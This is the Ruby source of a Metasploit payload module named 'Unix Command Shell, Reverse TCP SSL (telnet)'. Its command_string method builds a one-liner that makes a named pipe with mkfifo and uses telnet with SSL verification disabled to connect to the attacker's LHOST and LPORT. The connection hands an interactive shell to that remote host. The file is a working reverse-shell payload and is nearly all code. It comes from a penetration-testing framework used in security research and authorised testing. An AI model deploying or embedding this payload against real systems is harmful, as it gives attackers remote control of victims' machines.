Unix Command Shell, Reverse TCP SSL (telnet)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


module MetasploitModule

  CachedSize = :dynamic

  include Msf::Payload::Single
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
       'Name'          => 'Unix Command Shell, Reverse TCP SSL (telnet)',
       'Description'   => %q{
        Creates an interactive shell via mkfifo and telnet.
        This method works on Debian and other systems compiled
        without /dev/tcp support. This module uses the '-z'
        option included on some systems to encrypt using SSL.
        },
       'Author'        => 'RageLtMan <rageltman[at]sempervictus>',
       'License'       => MSF_LICENSE,
       'Platform'      => 'unix',
       'Arch'          => ARCH_CMD,
       'Handler'       => Msf::Handler::ReverseTcpSsl,
       'Session'       => Msf::Sessions::CommandShell,
       'PayloadType'   => 'cmd',
       'RequiredCmd'   => 'telnet',
       'Payload'       =>
         {
           'Offsets' => { },
           'Payload' => ''
         }
    ))
    register_advanced_options(
      [
        OptString.new('TelnetPath', [true, 'The path to the telnet executable', 'telnet'])
      ]
    )
  end

  #
  # Constructs the payload
  #
  def generate(_opts = {})
    vprint_good(command_string)
    super + command_string
  end

  #
  # Returns the command string to use for execution
  #
  def command_string
    pipe_name = Rex::Text.rand_text_alpha( rand(4) + 8 )
    "mkfifo #{pipe_name} && #{datastore['TelnetPath']} -z verify=0 #{datastore['LHOST']} #{datastore['LPORT']} 0<#{pipe_name} | $(which $0) 1>#{pipe_name} & sleep 10 && rm #{pipe_name} &"
  end
end